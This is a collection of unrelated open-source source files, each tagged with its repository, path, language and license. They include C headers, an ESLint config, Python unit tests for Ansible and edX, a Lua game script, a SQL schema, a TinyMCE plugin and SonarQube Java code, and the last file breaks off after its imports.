* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
#ifndef _STRUCT_TIMEVAL
#define _STRUCT_TIMEVAL struct timeval
_STRUCT_TIMEVAL
{
__darwin_time_t tv_sec; /* seconds */
__darwin_suseconds_t tv_usec; /* and microseconds */
};
#endif /* _STRUCT_TIMEVAL */
| LubosD/darling | platform-include/sys/_types/_timeval.h | C | gpl-3.0 | 1,562 |
#ifndef HEADER_CURL_AMIGAOS_H
#define HEADER_CURL_AMIGAOS_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 1998 - 2020, Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
#if defined(__AMIGA__) && defined(HAVE_BSDSOCKET_H) && !defined(USE_AMISSL)
bool Curl_amiga_init();
void Curl_amiga_cleanup();
#else
#define Curl_amiga_init() 1
#define Curl_amiga_cleanup() Curl_nop_stmt
#endif
#ifdef USE_AMISSL
#include <openssl/x509v3.h>
void Curl_amiga_X509_free(X509 *a);
#endif /* USE_AMISSL */
#endif /* HEADER_CURL_AMIGAOS_H */
| multitheftauto/mtasa-blue | vendor/curl/lib/amigaos.h | C | gpl-3.0 | 1,465 |
module.exports = {
'rules': {
// enforce spacing inside array brackets
'array-bracket-spacing': [2, 'never'],
// enforce spacing inside single-line blocks
// http://eslint.org/docs/rules/block-spacing
'block-spacing': [2, 'always'],
// enforce one true brace style
'brace-style': [2, '1tbs', { 'allowSingleLine': true }],
// require camel case names
'camelcase': [2, { 'properties': 'never' }],
// enforce spacing before and after comma
'comma-spacing': [2, { 'before': false, 'after': true }],
// enforce one true comma style
'comma-style': [2, 'last'],
// disallow padding inside computed properties
'computed-property-spacing': [2, 'never'],
// enforces consistent naming when capturing the current execution context
'consistent-this': 0,
// enforce newline at the end of file, with no multiple empty lines
'eol-last': 2,
// require function expressions to have a name
'func-names': 1,
// enforces use of function declarations or expressions
'func-style': 0,
// this option enforces minimum and maximum identifier lengths
// (variable names, property names etc.)
'id-length': 0,
// this option sets a specific tab width for your code
// http://eslint.org/docs/rules/indent
'indent': [2, 2, { 'SwitchCase': 1, 'VariableDeclarator': 1 }],
// specify whether double or single quotes should be used in JSX attributes
// http://eslint.org/docs/rules/jsx-quotes
'jsx-quotes': 0,
// enforces spacing between keys and values in object literal properties
'key-spacing': [2, { 'beforeColon': false, 'afterColon': true }],
// require a space before & after certain keywords
'keyword-spacing': [2, {
'before': true,
'after': true,
'overrides': {
'return': { 'after': true },
'throw': { 'after': true },
'case': { 'after': true }
}
}],
// enforces empty lines around comments
'lines-around-comment': 0,
// disallow mixed 'LF' and 'CRLF' as linebreaks
'linebreak-style': 0,
// specify the maximum length of a line in your program
// http://eslint.org/docs/rules/max-len
'max-len': [2, 100, 2, {
'ignoreUrls': true,
'ignoreComments': false
}],
// specify the maximum depth callbacks can be nested
'max-nested-callbacks': 0,
// restrict the number of statements per line
// http://eslint.org/docs/rules/max-statements-per-line
'max-statements-per-line': [0, { 'max': 1 }],
// require a capital letter for constructors
'new-cap': [2, { 'newIsCap': true }],
// disallow the omission of parentheses when invoking a constructor with no arguments
'new-parens': 0,
// allow/disallow an empty newline after var statement
'newline-after-var': 0,
// http://eslint.org/docs/rules/newline-before-return
'newline-before-return': 0,
// enforces new line after each method call in the chain to make it
// more readable and easy to maintain
// http://eslint.org/docs/rules/newline-per-chained-call
'newline-per-chained-call': [2, { 'ignoreChainWithDepth': 3 }],
// disallow use of the Array constructor
'no-array-constructor': 2,
// disallow use of the continue statement
'no-continue': 0,
// disallow comments inline after code
'no-inline-comments': 0,
// disallow if as the only statement in an else block
'no-lonely-if': 0,
// disallow mixed spaces and tabs for indentation
'no-mixed-spaces-and-tabs': 2,
// disallow multiple empty lines and only one newline at the end
'no-multiple-empty-lines': [2, { 'max': 2, 'maxEOF': 1 }],
// disallow negated conditions
// http://eslint.org/docs/rules/no-negated-condition
'no-negated-condition': 0,
// disallow nested ternary expressions
'no-nested-ternary': 2,
// disallow use of the Object constructor
'no-new-object': 2,
// disallow space between function identifier and application
'no-spaced-func': 2,
// disallow the use of ternary operators
'no-ternary': 0,
// disallow trailing whitespace at the end of lines
'no-trailing-spaces': 2,
// disallow dangling underscores in identifiers
'no-underscore-dangle': [2, { 'allowAfterThis': false }],
// disallow the use of Boolean literals in conditional expressions
// also, prefer `a || b` over `a ? a : b`
// http://eslint.org/docs/rules/no-unneeded-ternary
'no-unneeded-ternary': [2, { 'defaultAssignment': false }],
// disallow whitespace before properties
// http://eslint.org/docs/rules/no-whitespace-before-property
'no-whitespace-before-property': 2,
// require padding inside curly braces
'object-curly-spacing': [2, 'always'],
// allow just one var statement per function
'one-var': [2, 'never'],
// require a newline around variable declaration
// http://eslint.org/docs/rules/one-var-declaration-per-line
'one-var-declaration-per-line': [2, 'always'],
// require assignment operator shorthand where possible or prohibit it entirely
'operator-assignment': 0,
// enforce operators to be placed before or after line breaks
'operator-linebreak': 0,
// enforce padding within blocks
'padded-blocks': [2, 'never'],
// require quotes around object literal property names
// http://eslint.org/docs/rules/quote-props.html
'quote-props': [2, 'as-needed', { 'keywords': false, 'unnecessary': true, 'numbers': false }],
// specify whether double or single quotes should be used
'quotes': [2, 'single', 'avoid-escape'],
// require identifiers to match the provided regular expression
'id-match': 0,
// do not require jsdoc
// http://eslint.org/docs/rules/require-jsdoc
'require-jsdoc': 0,
// enforce spacing before and after semicolons
'semi-spacing': [2, { 'before': false, 'after': true }],
// require or disallow use of semicolons instead of ASI
'semi': [2, 'always'],
// sort variables within the same declaration block
'sort-vars': 0,
// require or disallow space before blocks
'space-before-blocks': 2,
// require or disallow space before function opening parenthesis
// http://eslint.org/docs/rules/space-before-function-paren
'space-before-function-paren': [2, { 'anonymous': 'always', 'named': 'never' }],
// require or disallow spaces inside parentheses
'space-in-parens': [2, 'never'],
// require spaces around operators
'space-infix-ops': 2,
// Require or disallow spaces before/after unary operators
'space-unary-ops': 0,
// require or disallow a space immediately following the // or /* in a comment
'spaced-comment': [2, 'always', {
'exceptions': ['-', '+'],
'markers': ['=', '!'] // space here to support sprockets directives
}],
// require regex literals to be wrapped in parentheses
'wrap-regex': 0
}
};
| ichbinder/homeapp | node_modules/eslint-config-airbnb-base/rules/style.js | JavaScript | gpl-3.0 | 6,936 |
/*
This file is part of cpp-ethereum.
cpp-ethereum is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
cpp-ethereum is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with cpp-ethereum. If not, see <http://www.gnu.org/licenses/>.
*/
/** @file WordList.h
* @author Gav Wood <i@gavwood.com>
* @date 2015
*/
#pragma once
#include "Common.h"
namespace dev
{
extern std::vector<char const*> const WordList;
}
| EarthDollar/farmer | libweb3core/libdevcrypto/WordList.h | C | gpl-3.0 | 844 |
# (c)2016 Andrew Zenk <azenk@umn.edu>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from argparse import ArgumentParser
from units.compat import unittest
from units.compat.mock import patch
from ansible.errors import AnsibleError
from ansible.module_utils import six
from ansible.plugins.lookup.lastpass import LookupModule, LPass, LPassException
MOCK_ENTRIES = [{'username': 'user',
'name': 'Mock Entry',
'password': 't0pS3cret passphrase entry!',
'url': 'https://localhost/login',
'notes': 'Test\nnote with multiple lines.\n',
'id': '0123456789'}]
class MockLPass(LPass):
_mock_logged_out = False
_mock_disconnected = False
def _lookup_mock_entry(self, key):
for entry in MOCK_ENTRIES:
if key == entry['id'] or key == entry['name']:
return entry
def _run(self, args, stdin=None, expected_rc=0):
# Mock behavior of lpass executable
base_options = ArgumentParser(add_help=False)
base_options.add_argument('--color', default="auto", choices=['auto', 'always', 'never'])
p = ArgumentParser()
sp = p.add_subparsers(help='command', dest='subparser_name')
logout_p = sp.add_parser('logout', parents=[base_options], help='logout')
show_p = sp.add_parser('show', parents=[base_options], help='show entry details')
field_group = show_p.add_mutually_exclusive_group(required=True)
for field in MOCK_ENTRIES[0].keys():
field_group.add_argument("--{0}".format(field), default=False, action='store_true')
field_group.add_argument('--field', default=None)
show_p.add_argument('selector', help='Unique Name or ID')
args = p.parse_args(args)
def mock_exit(output='', error='', rc=0):
if rc != expected_rc:
raise LPassException(error)
return output, error
if args.color != 'never':
return mock_exit(error='Error: Mock only supports --color=never', rc=1)
if args.subparser_name == 'logout':
if self._mock_logged_out:
return mock_exit(error='Error: Not currently logged in', rc=1)
logged_in_error = 'Are you sure you would like to log out? [Y/n]'
if stdin and stdin.lower() == 'n\n':
return mock_exit(output='Log out: aborted.', error=logged_in_error, rc=1)
elif stdin and stdin.lower() == 'y\n':
return mock_exit(output='Log out: complete.', error=logged_in_error, rc=0)
else:
return mock_exit(error='Error: aborted response', rc=1)
if args.subparser_name == 'show':
if self._mock_logged_out:
return mock_exit(error='Error: Could not find decryption key.' +
' Perhaps you need to login with `lpass login`.', rc=1)
if self._mock_disconnected:
return mock_exit(error='Error: Couldn\'t resolve host name.', rc=1)
mock_entry = self._lookup_mock_entry(args.selector)
if args.field:
return mock_exit(output=mock_entry.get(args.field, ''))
elif args.password:
return mock_exit(output=mock_entry.get('password', ''))
elif args.username:
return mock_exit(output=mock_entry.get('username', ''))
elif args.url:
return mock_exit(output=mock_entry.get('url', ''))
elif args.name:
return mock_exit(output=mock_entry.get('name', ''))
elif args.id:
return mock_exit(output=mock_entry.get('id', ''))
elif args.notes:
return mock_exit(output=mock_entry.get('notes', ''))
raise LPassException('We should never get here')
class DisconnectedMockLPass(MockLPass):
_mock_disconnected = True
class LoggedOutMockLPass(MockLPass):
_mock_logged_out = True
class TestLPass(unittest.TestCase):
def test_lastpass_cli_path(self):
lp = MockLPass(path='/dev/null')
self.assertEqual('/dev/null', lp.cli_path)
def test_lastpass_build_args_logout(self):
lp = MockLPass()
self.assertEqual(['logout', '--color=never'], lp._build_args("logout"))
def test_lastpass_logged_in_true(self):
lp = MockLPass()
self.assertTrue(lp.logged_in)
def test_lastpass_logged_in_false(self):
lp = LoggedOutMockLPass()
self.assertFalse(lp.logged_in)
def test_lastpass_show_disconnected(self):
lp = DisconnectedMockLPass()
with self.assertRaises(LPassException):
lp.get_field('0123456789', 'username')
def test_lastpass_show(self):
lp = MockLPass()
for entry in MOCK_ENTRIES:
entry_id = entry.get('id')
for k, v in six.iteritems(entry):
self.assertEqual(v.strip(), lp.get_field(entry_id, k))
class TestLastpassPlugin(unittest.TestCase):
@patch('ansible.plugins.lookup.lastpass.LPass', new=MockLPass)
def test_lastpass_plugin_normal(self):
lookup_plugin = LookupModule()
for entry in MOCK_ENTRIES:
entry_id = entry.get('id')
for k, v in six.iteritems(entry):
self.assertEqual(v.strip(),
lookup_plugin.run([entry_id], field=k)[0])
@patch('ansible.plugins.lookup.lastpass.LPass', LoggedOutMockLPass)
def test_lastpass_plugin_logged_out(self):
lookup_plugin = LookupModule()
entry = MOCK_ENTRIES[0]
entry_id = entry.get('id')
with self.assertRaises(AnsibleError):
lookup_plugin.run([entry_id], field='password')
@patch('ansible.plugins.lookup.lastpass.LPass', DisconnectedMockLPass)
def test_lastpass_plugin_disconnected(self):
lookup_plugin = LookupModule()
entry = MOCK_ENTRIES[0]
entry_id = entry.get('id')
with self.assertRaises(AnsibleError):
lookup_plugin.run([entry_id], field='password')
| roadmapper/ansible | test/units/plugins/lookup/test_lastpass.py | Python | gpl-3.0 | 6,829 |
-----------------------------------
-- Area: Rolanberry Fields
-- MOB: Poison Leech
-----------------------------------
require("/scripts/globals/fieldsofvalor");
-----------------------------------
-- onMobDeath
-----------------------------------
function onMobDeath(mob,killer)
checkRegime(killer,mob,85,2);
end;
| will4wachter/Project1 | scripts/zones/Rolanberry_Fields/mobs/Poison_Leech.lua | Lua | gpl-3.0 | 348 |
-- ========================================================================
-- Copyright (C) 2018 Laurent Destailleur <eldy@users.sourceforge.net>
--
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
--
-- Defini les types de contact d'un element sert de reference pour
-- la table llx_element_contact
--
-- element est le nom de la table utilisant le type de contact.
-- i.e. contact, facture, projet, societe (sans le llx_ devant).
-- Libelle est un texte decrivant le type de contact.
-- active precise si cette valeur est 'active' ou 'archive'.
--
-- ========================================================================
create table llx_c_type_container
(
rowid integer AUTO_INCREMENT PRIMARY KEY,
code varchar(32) NOT NULL,
entity integer DEFAULT 1 NOT NULL, -- multi company id
label varchar(64) NOT NULL,
module varchar(32) NULL,
active tinyint DEFAULT 1 NOT NULL
)ENGINE=innodb;
| All-3kcis/dolibarr | htdocs/install/mysql/tables/llx_c_type_container.sql | SQL | gpl-3.0 | 1,541 |
(function () {
var nonbreaking = (function () {
'use strict';
var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
var stringRepeat = function (string, repeats) {
var str = '';
for (var index = 0; index < repeats; index++) {
str += string;
}
return str;
};
var isVisualCharsEnabled = function (editor) {
return editor.plugins.visualchars ? editor.plugins.visualchars.isEnabled() : false;
};
var insertNbsp = function (editor, times) {
var nbsp = isVisualCharsEnabled(editor) ? '<span class="mce-nbsp"> </span>' : ' ';
editor.insertContent(stringRepeat(nbsp, times));
editor.dom.setAttrib(editor.dom.select('span.mce-nbsp'), 'data-mce-bogus', '1');
};
var $_cwy81eh0jfuw8pru = { insertNbsp: insertNbsp };
var register = function (editor) {
editor.addCommand('mceNonBreaking', function () {
$_cwy81eh0jfuw8pru.insertNbsp(editor, 1);
});
};
var $_buxrv5gzjfuw8prt = { register: register };
var global$1 = tinymce.util.Tools.resolve('tinymce.util.VK');
var getKeyboardSpaces = function (editor) {
var spaces = editor.getParam('nonbreaking_force_tab', 0);
if (typeof spaces === 'boolean') {
return spaces === true ? 3 : 0;
} else {
return spaces;
}
};
var $_f5rvddh3jfuw8prx = { getKeyboardSpaces: getKeyboardSpaces };
var setup = function (editor) {
var spaces = $_f5rvddh3jfuw8prx.getKeyboardSpaces(editor);
if (spaces > 0) {
editor.on('keydown', function (e) {
if (e.keyCode === global$1.TAB && !e.isDefaultPrevented()) {
if (e.shiftKey) {
return;
}
e.preventDefault();
e.stopImmediatePropagation();
$_cwy81eh0jfuw8pru.insertNbsp(editor, spaces);
}
});
}
};
var $_6lsd92h1jfuw8prv = { setup: setup };
var register$1 = function (editor) {
editor.addButton('nonbreaking', {
title: 'Nonbreaking space',
cmd: 'mceNonBreaking'
});
editor.addMenuItem('nonbreaking', {
icon: 'nonbreaking',
text: 'Nonbreaking space',
cmd: 'mceNonBreaking',
context: 'insert'
});
};
var $_9wbdylh4jfuw8pry = { register: register$1 };
global.add('nonbreaking', function (editor) {
$_buxrv5gzjfuw8prt.register(editor);
$_9wbdylh4jfuw8pry.register(editor);
$_6lsd92h1jfuw8prv.setup(editor);
});
function Plugin () {
}
return Plugin;
}());
})();
| jbaiter/demetsiiify | static/vendor/mirador/plugins/nonbreaking/plugin.js | JavaScript | agpl-3.0 | 2,448 |
"""
Tests for course_info
"""
from django.test.utils import override_settings
from django.core.urlresolvers import reverse
from rest_framework.test import APITestCase
from xmodule.modulestore.tests.factories import CourseFactory
from xmodule.modulestore.tests.django_utils import ModuleStoreTestCase
from courseware.tests.factories import UserFactory
from courseware.tests.tests import TEST_DATA_MONGO_MODULESTORE
@override_settings(MODULESTORE=TEST_DATA_MONGO_MODULESTORE)
class TestVideoOutline(ModuleStoreTestCase, APITestCase):
"""
Tests for /api/mobile/v0.5/course_info/...
"""
def setUp(self):
super(TestVideoOutline, self).setUp()
self.user = UserFactory.create()
self.course = CourseFactory.create(mobile_available=True)
self.client.login(username=self.user.username, password='test')
def test_about(self):
url = reverse('course-about-detail', kwargs={'course_id': unicode(self.course.id)})
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
self.assertTrue('overview' in response.data) # pylint: disable=E1103
def test_handouts(self):
url = reverse('course-handouts-list', kwargs={'course_id': unicode(self.course.id)})
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_updates(self):
url = reverse('course-updates-list', kwargs={'course_id': unicode(self.course.id)})
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data, []) # pylint: disable=E1103
# TODO: add handouts and updates, somehow
| c0710204/edx-platform | lms/djangoapps/mobile_api/course_info/tests.py | Python | agpl-3.0 | 1,679 |
Karelys Rangel "22664029"
| ULAnux/mathematica | guias/guia-induccion-maxima/README.md | Markdown | agpl-3.0 | 26 |
/*
* SonarQube, open source software quality management tool.
* Copyright (C) 2008-2014 SonarSource
* mailto:contact AT sonarsource DOT com
*
* SonarQube is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* SonarQube is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonar.server.qualitygate.ws;
import org.sonar.api.server.ws.Request;
import org.sonar.api.server.ws.Response;
import org.sonar.api.server.ws.WebService;
import org.sonar.server.qualitygate.QualityGates;
public class SelectAction implements QGateWsAction {
private final QualityGates qualityGates;
public SelectAction(QualityGates qualityGates) {
this.qualityGates = qualityGates;
}
@Override
public void define(WebService.NewController controller) {
WebService.NewAction action = controller.createAction("select")
.setDescription("Associate a project to a quality gate. Require Administer Quality Profiles and Gates permission")
.setPost(true)
.setSince("4.3")
.setHandler(this);
action.createParam(QGatesWs.PARAM_GATE_ID)
.setDescription("Quality Gate ID")
.setRequired(true)
.setExampleValue("1");
action.createParam(QGatesWs.PARAM_PROJECT_ID)
.setDescription("Project ID")
.setRequired(true)
.setExampleValue("12");
}
@Override
public void handle(Request request, Response response) {
qualityGates.associateProject(QGatesWs.parseId(request, QGatesWs.PARAM_GATE_ID), QGatesWs.parseId(request, QGatesWs.PARAM_PROJECT_ID));
response.noContent();
}
}
| jblievremont/sonarqube | server/sonar-server/src/main/java/org/sonar/server/qualitygate/ws/SelectAction.java | Java | lgpl-3.0 | 2,158 |
/*
* SonarQube, open source software quality management tool.
* Copyright (C) 2008-2014 SonarSource
* mailto:contact AT sonarsource DOT com
*
* SonarQube is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* SonarQube is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonar.api.measures;
import org.junit.Before;
import org.junit.Test;
import org.sonar.api.resources.File;
import java.util.List;
import static com.google.common.collect.Lists.newArrayList;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
public class AverageFormulaTest {
private FormulaContext context;
private FormulaData data;
@Before
public void before() {
context = mock(FormulaContext.class);
when(context.getTargetMetric()).thenReturn(CoreMetrics.FUNCTION_COMPLEXITY);
data = mock(FormulaData.class);
}
@Test
public void test_depends_upon_metrics() throws Exception {
AverageFormula formula = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS);
assertThat(formula.dependsUponMetrics()).containsOnly(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS);
}
@Test
public void test_depends_upon_fallback_metric() throws Exception {
AverageFormula formula = AverageFormula.create(CoreMetrics.COMPLEXITY_IN_FUNCTIONS, CoreMetrics.FUNCTIONS).setFallbackForMainMetric(CoreMetrics.COMPLEXITY);
assertThat(formula.dependsUponMetrics()).containsOnly(CoreMetrics.COMPLEXITY_IN_FUNCTIONS, CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS);
}
@Test
public void test_average_calculation() {
List<FormulaData> childrenData = newArrayList();
FormulaData data1 = mock(FormulaData.class);
childrenData.add(data1);
when(data1.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 43.0));
when(data1.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 107.0));
FormulaData data2 = mock(FormulaData.class);
childrenData.add(data2);
when(data2.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 127.0));
when(data2.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 233.0));
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure.getValue()).isEqualTo(2.0);
}
@Test
public void should_not_compute_if_not_target_metric() {
when(data.getMeasure(CoreMetrics.FUNCTION_COMPLEXITY)).thenReturn(new Measure(CoreMetrics.FUNCTION_COMPLEXITY, 2.0));
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure).isNull();
}
@Test
public void test_when_no_children_measures() {
List<FormulaData> childrenData = newArrayList();
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure).isNull();
}
@Test
public void test_when_no_complexity_measures() {
List<FormulaData> childrenData = newArrayList();
FormulaData data1 = mock(FormulaData.class);
childrenData.add(data1);
when(data1.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 43.0));
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure).isNull();
}
@Test
public void test_when_no_by_metric_measures() {
List<FormulaData> childrenData = newArrayList();
FormulaData data1 = mock(FormulaData.class);
childrenData.add(data1);
when(data1.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 43.0));
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure).isNull();
}
@Test
public void test_when_mixed_metrics() {
List<FormulaData> childrenData = newArrayList();
FormulaData data1 = mock(FormulaData.class);
childrenData.add(data1);
when(data1.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 43.0));
when(data1.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 107.0));
FormulaData data2 = mock(FormulaData.class);
childrenData.add(data2);
when(data2.getMeasure(CoreMetrics.STATEMENTS)).thenReturn(new Measure(CoreMetrics.STATEMENTS, 127.0));
when(data2.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 233.0));
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure.getValue()).isEqualTo(2.5);
}
@Test
public void test_calculation_for_file() {
when(data.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 60.0));
when(data.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 20.0));
when(context.getResource()).thenReturn(File.create("foo"));
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY, CoreMetrics.FUNCTIONS).calculate(data, context);
assertThat(measure.getValue()).isEqualTo(3.0);
}
@Test
public void should_use_fallback_metric_when_no_data_on_main_metric_for_file() {
when(data.getMeasure(CoreMetrics.COMPLEXITY_IN_FUNCTIONS)).thenReturn(null);
when(data.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 60.0));
when(data.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 20.0));
when(context.getResource()).thenReturn(File.create("foo"));
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY_IN_FUNCTIONS, CoreMetrics.FUNCTIONS)
.setFallbackForMainMetric(CoreMetrics.COMPLEXITY)
.calculate(data, context);
assertThat(measure.getValue()).isEqualTo(3.0);
}
@Test
public void should_use_main_metric_even_if_fallback_metric_provided() {
when(data.getMeasure(CoreMetrics.COMPLEXITY_IN_FUNCTIONS)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 60.0));
when(data.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 42.0));
when(data.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 20.0));
when(context.getResource()).thenReturn(File.create("foo"));
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY_IN_FUNCTIONS, CoreMetrics.FUNCTIONS)
.setFallbackForMainMetric(CoreMetrics.COMPLEXITY)
.calculate(data, context);
assertThat(measure.getValue()).isEqualTo(3.0);
}
@Test
public void should_use_fallback_metric_when_no_data_on_main_metric_for_children() {
List<FormulaData> childrenData = newArrayList();
FormulaData data1 = mock(FormulaData.class);
childrenData.add(data1);
when(data1.getMeasure(CoreMetrics.COMPLEXITY_IN_FUNCTIONS)).thenReturn(null);
when(data1.getMeasure(CoreMetrics.COMPLEXITY)).thenReturn(new Measure(CoreMetrics.COMPLEXITY, 107.0));
when(data1.getMeasure(CoreMetrics.FUNCTIONS)).thenReturn(new Measure(CoreMetrics.FUNCTIONS, 43.0));
when(data.getChildren()).thenReturn(childrenData);
Measure measure = AverageFormula.create(CoreMetrics.COMPLEXITY_IN_FUNCTIONS, CoreMetrics.FUNCTIONS)
.setFallbackForMainMetric(CoreMetrics.COMPLEXITY)
.calculate(data, context);
assertThat(measure.getValue()).isEqualTo(2.5);
}
}
| abbeyj/sonarqube | sonar-plugin-api/src/test/java/org/sonar/api/measures/AverageFormulaTest.java | Java | lgpl-3.0 | 8,437 |
/*
* SonarQube, open source software quality management tool.
* Copyright (C) 2008-2014 SonarSource
* mailto:contact AT sonarsource DOT com
*
* SonarQube is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* SonarQube is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonar.batch.deprecated.perspectives;
import com.google.common.collect.Maps;
import java.util.Map;
import javax.annotation.CheckForNull;
import org.sonar.api.batch.SonarIndex;
import org.sonar.api.batch.fs.InputPath;
import org.sonar.api.component.Perspective;
import org.sonar.api.component.ResourcePerspectives;
import org.sonar.api.resources.Resource;
